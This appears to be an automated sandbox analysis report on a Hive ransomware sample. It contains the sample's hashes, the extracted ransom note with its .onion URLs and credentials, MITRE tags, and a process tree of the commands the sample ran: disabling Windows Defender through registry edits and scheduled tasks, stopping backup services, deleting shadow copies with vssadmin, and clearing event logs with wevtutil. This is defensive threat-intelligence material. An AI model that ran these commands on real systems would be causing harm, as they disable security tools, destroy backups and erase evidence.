hive | af9e8f301a3677b457345921d7ee765a842eceb7df107714eaffc6193bfc6bbe

Analysis

max time kernel
19s
max time network
151s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
12-02-2024 07:56

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General

Target

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
Size

884KB
MD5

da13022097518d123a91a3958be326da
SHA1

24a71ab462594d5a159bbf176588af951aba1381
SHA256

25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5
SHA512

a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f
SSDEEP

12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Score

10^/10

hive evasion ransomware trojan upx

Malware Config

Extracted

Path

C:\Program Files\EGdu_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: jxkdVr8zZs5J Password: GHTM6Qgqyhqs4nMH53ZD To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.uj1ps files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Processes:

MpCmdRun.exe

pid process

3836 MpCmdRun.exe
Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

pid	process
3836	MpCmdRun.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Windows Service
T1543.003

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
Clears Windows event logs 1 TTPs 3 IoCs
evasion ransomware

Indicator Removal
T1070

Processes:

wevtutil.exewevtutil.exewevtutil.exe

pid process

3564 wevtutil.exe
4720 wevtutil.exe
2804 wevtutil.exe
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

pid	process
3564	wevtutil.exe
4720	wevtutil.exe
2804	wevtutil.exe

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral14/memory/2808-0-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-1-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-2-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-283-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-2646-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-4127-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-6416-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-8142-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-8145-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-8150-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-8155-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-8160-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-8171-0x0000000000E70000-0x0000000001182000-memory.dmp	upx
behavioral14/memory/2808-8181-0x0000000000E70000-0x0000000001182000-memory.dmp	upx

Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2300 sc.exe
712 sc.exe
1116 sc.exe
3220 sc.exe
3628 sc.exe
4768 sc.exe
3876 sc.exe
4416 sc.exe
524 sc.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

4784 vssadmin.exe

pid	process
2300	sc.exe
712	sc.exe
1116	sc.exe
3220	sc.exe
3628	sc.exe
4768	sc.exe
3876	sc.exe
4416	sc.exe
524	sc.exe

pid	process
4784	vssadmin.exe

Modifies registry class 3 IoCs

Processes:

reg.exereg.exereg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe

Runs net.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4160 powershell.exe
4160 powershell.exe
4160 powershell.exe

pid	process
4160	powershell.exe
4160	powershell.exe
4160	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wevtutil.exewevtutil.exewevtutil.exewmic.exewmic.exe

description	pid	process
Token: SeSecurityPrivilege	3564	wevtutil.exe
Token: SeBackupPrivilege	3564	wevtutil.exe
Token: SeSecurityPrivilege	4720	wevtutil.exe
Token: SeBackupPrivilege	4720	wevtutil.exe
Token: SeSecurityPrivilege	2804	wevtutil.exe
Token: SeBackupPrivilege	2804	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	3880	wmic.exe
Token: SeSecurityPrivilege	3880	wmic.exe
Token: SeTakeOwnershipPrivilege	3880	wmic.exe
Token: SeLoadDriverPrivilege	3880	wmic.exe
Token: SeSystemProfilePrivilege	3880	wmic.exe
Token: SeSystemtimePrivilege	3880	wmic.exe
Token: SeProfSingleProcessPrivilege	3880	wmic.exe
Token: SeIncBasePriorityPrivilege	3880	wmic.exe
Token: SeCreatePagefilePrivilege	3880	wmic.exe
Token: SeBackupPrivilege	3880	wmic.exe
Token: SeRestorePrivilege	3880	wmic.exe
Token: SeShutdownPrivilege	3880	wmic.exe
Token: SeDebugPrivilege	3880	wmic.exe
Token: SeSystemEnvironmentPrivilege	3880	wmic.exe
Token: SeRemoteShutdownPrivilege	3880	wmic.exe
Token: SeUndockPrivilege	3880	wmic.exe
Token: SeManageVolumePrivilege	3880	wmic.exe
Token: 33	3880	wmic.exe
Token: 34	3880	wmic.exe
Token: 35	3880	wmic.exe
Token: 36	3880	wmic.exe
Token: SeIncreaseQuotaPrivilege	4336	wmic.exe
Token: SeSecurityPrivilege	4336	wmic.exe
Token: SeTakeOwnershipPrivilege	4336	wmic.exe
Token: SeLoadDriverPrivilege	4336	wmic.exe
Token: SeSystemProfilePrivilege	4336	wmic.exe
Token: SeSystemtimePrivilege	4336	wmic.exe
Token: SeProfSingleProcessPrivilege	4336	wmic.exe
Token: SeIncBasePriorityPrivilege	4336	wmic.exe
Token: SeCreatePagefilePrivilege	4336	wmic.exe
Token: SeBackupPrivilege	4336	wmic.exe
Token: SeRestorePrivilege	4336	wmic.exe
Token: SeShutdownPrivilege	4336	wmic.exe
Token: SeDebugPrivilege	4336	wmic.exe
Token: SeSystemEnvironmentPrivilege	4336	wmic.exe
Token: SeRemoteShutdownPrivilege	4336	wmic.exe
Token: SeUndockPrivilege	4336	wmic.exe
Token: SeManageVolumePrivilege	4336	wmic.exe
Token: 33	4336	wmic.exe
Token: 34	4336	wmic.exe
Token: 35	4336	wmic.exe
Token: 36	4336	wmic.exe
Token: SeIncreaseQuotaPrivilege	4336	wmic.exe
Token: SeSecurityPrivilege	4336	wmic.exe
Token: SeTakeOwnershipPrivilege	4336	wmic.exe
Token: SeLoadDriverPrivilege	4336	wmic.exe
Token: SeSystemProfilePrivilege	4336	wmic.exe
Token: SeSystemtimePrivilege	4336	wmic.exe
Token: SeProfSingleProcessPrivilege	4336	wmic.exe
Token: SeIncBasePriorityPrivilege	4336	wmic.exe
Token: SeCreatePagefilePrivilege	4336	wmic.exe
Token: SeBackupPrivilege	4336	wmic.exe
Token: SeRestorePrivilege	4336	wmic.exe
Token: SeShutdownPrivilege	4336	wmic.exe
Token: SeDebugPrivilege	4336	wmic.exe
Token: SeSystemEnvironmentPrivilege	4336	wmic.exe
Token: SeRemoteShutdownPrivilege	4336	wmic.exe
Token: SeUndockPrivilege	4336	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 2808 wrote to memory of 1804	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 1804	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 1804	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1804 wrote to memory of 3488	1804	net.exe	net1.exe
PID 1804 wrote to memory of 3488	1804	net.exe	net1.exe
PID 1804 wrote to memory of 3488	1804	net.exe	net1.exe
PID 2808 wrote to memory of 3332	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 3332	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 3332	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 3332 wrote to memory of 3020	3332	net.exe	net1.exe
PID 3332 wrote to memory of 3020	3332	net.exe	net1.exe
PID 3332 wrote to memory of 3020	3332	net.exe	net1.exe
PID 2808 wrote to memory of 4580	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4580	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4580	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 4580 wrote to memory of 4380	4580	net.exe	net1.exe
PID 4580 wrote to memory of 4380	4580	net.exe	net1.exe
PID 4580 wrote to memory of 4380	4580	net.exe	net1.exe
PID 2808 wrote to memory of 2740	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 2740	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 2740	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2740 wrote to memory of 2772	2740	net.exe	net1.exe
PID 2740 wrote to memory of 2772	2740	net.exe	net1.exe
PID 2740 wrote to memory of 2772	2740	net.exe	net1.exe
PID 2808 wrote to memory of 2124	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 2124	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 2124	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2124 wrote to memory of 4308	2124	net.exe	net1.exe
PID 2124 wrote to memory of 4308	2124	net.exe	net1.exe
PID 2124 wrote to memory of 4308	2124	net.exe	net1.exe
PID 2808 wrote to memory of 4484	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4484	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4484	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 4484 wrote to memory of 4752	4484	net.exe	net1.exe
PID 4484 wrote to memory of 4752	4484	net.exe	net1.exe
PID 4484 wrote to memory of 4752	4484	net.exe	net1.exe
PID 2808 wrote to memory of 4244	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4244	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4244	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 4244 wrote to memory of 880	4244	net.exe	net1.exe
PID 4244 wrote to memory of 880	4244	net.exe	net1.exe
PID 4244 wrote to memory of 880	4244	net.exe	net1.exe
PID 2808 wrote to memory of 4292	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4292	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 4292	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 4292 wrote to memory of 3832	4292	net.exe	net1.exe
PID 4292 wrote to memory of 3832	4292	net.exe	net1.exe
PID 4292 wrote to memory of 3832	4292	net.exe	net1.exe
PID 2808 wrote to memory of 2584	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 2584	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2808 wrote to memory of 2584	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2584 wrote to memory of 4316	2584	net.exe	net1.exe
PID 2584 wrote to memory of 4316	2584	net.exe	net1.exe
PID 2584 wrote to memory of 4316	2584	net.exe	net1.exe
PID 2808 wrote to memory of 2300	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 2300	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 2300	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 712	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 712	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 712	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 4416	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 4416	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 4416	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 2808 wrote to memory of 524	2808	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
"C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2808

C:\Windows\SysWOW64\net.exe
net.exe stop "SamSs" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SamSs" /y
3⤵
PID:3488

C:\Windows\SysWOW64\net.exe
net.exe stop "SDRSVC" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3332

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SDRSVC" /y
3⤵
PID:3020

C:\Windows\SysWOW64\net.exe
net.exe stop "SstpSvc" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SstpSvc" /y
3⤵
PID:4380

C:\Windows\SysWOW64\net.exe
net.exe stop "UI0Detect" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "UI0Detect" /y
3⤵
PID:2772

C:\Windows\SysWOW64\net.exe
net.exe stop "vmicvss" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2124

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "vmicvss" /y
3⤵
PID:4308

C:\Windows\SysWOW64\net.exe
net.exe stop "VSS" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VSS" /y
3⤵
PID:4752

C:\Windows\SysWOW64\net.exe
net.exe stop "wbengine" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "wbengine" /y
3⤵
PID:880

C:\Windows\SysWOW64\net.exe
net.exe stop "WebClient" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "WebClient" /y
3⤵
PID:3832

C:\Windows\SysWOW64\net.exe
net.exe stop "UnistoreSvc_17493" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "UnistoreSvc_17493" /y
3⤵
PID:4316

C:\Windows\SysWOW64\sc.exe
sc.exe config "SamSs" start= disabled
2⤵
- Launches sc.exe
PID:2300

C:\Windows\SysWOW64\sc.exe
sc.exe config "SDRSVC" start= disabled
2⤵
- Launches sc.exe
PID:712

C:\Windows\SysWOW64\sc.exe
sc.exe config "SstpSvc" start= disabled
2⤵
- Launches sc.exe
PID:4416

C:\Windows\SysWOW64\sc.exe
sc.exe config "UI0Detect" start= disabled
2⤵
- Launches sc.exe
PID:524

C:\Windows\SysWOW64\sc.exe
sc.exe config "vmicvss" start= disabled
2⤵
- Launches sc.exe
PID:1116

C:\Windows\SysWOW64\sc.exe
sc.exe config "VSS" start= disabled
2⤵
- Launches sc.exe
PID:3220

C:\Windows\SysWOW64\sc.exe
sc.exe config "wbengine" start= disabled
2⤵
- Launches sc.exe
PID:3628

C:\Windows\SysWOW64\sc.exe
sc.exe config "WebClient" start= disabled
2⤵
- Launches sc.exe
PID:4768

C:\Windows\SysWOW64\sc.exe
sc.exe config "UnistoreSvc_17493" start= disabled
2⤵
- Launches sc.exe
PID:3876

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
2⤵
PID:3568

C:\Windows\SysWOW64\reg.exe
reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:2220

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:3808

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
2⤵
PID:4908

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
2⤵
PID:4868

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4904

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:5104

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:920

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1724

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1136

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
2⤵
PID:2964

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
2⤵
PID:4952

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
2⤵
PID:2264

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
2⤵
PID:5060

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
2⤵
PID:4536

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
2⤵
PID:2904

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
2⤵
PID:2468

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
2⤵
PID:4156

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
2⤵
PID:1300

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
2⤵
PID:3488

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
2⤵
PID:4136

C:\Windows\SysWOW64\reg.exe
reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
2⤵
PID:4252

C:\Windows\SysWOW64\reg.exe
reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
2⤵
PID:1924

C:\Windows\SysWOW64\reg.exe
reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
2⤵
PID:4792

C:\Windows\SysWOW64\reg.exe
reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
2⤵
- Modifies registry class
PID:4896

C:\Windows\SysWOW64\reg.exe
reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
2⤵
- Modifies registry class
PID:4492

C:\Windows\SysWOW64\reg.exe
reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
2⤵
- Modifies registry class
PID:4800

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
2⤵
PID:4600

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
2⤵
PID:4316

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
2⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
2⤵
PID:4920

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
2⤵
- Modifies security service
PID:428

C:\Windows\SysWOW64\reg.exe
reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
2⤵
PID:3216

C:\Windows\SysWOW64\vssadmin.exe
vssadmin.exe delete shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:4784

C:\Windows\SysWOW64\wevtutil.exe
wevtutil.exe cl system
2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3564

C:\Windows\SysWOW64\wevtutil.exe
wevtutil.exe cl security
2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4720

C:\Windows\SysWOW64\wevtutil.exe
wevtutil.exe cl application
2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic.exe SHADOWCOPY /nointeractive
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3880

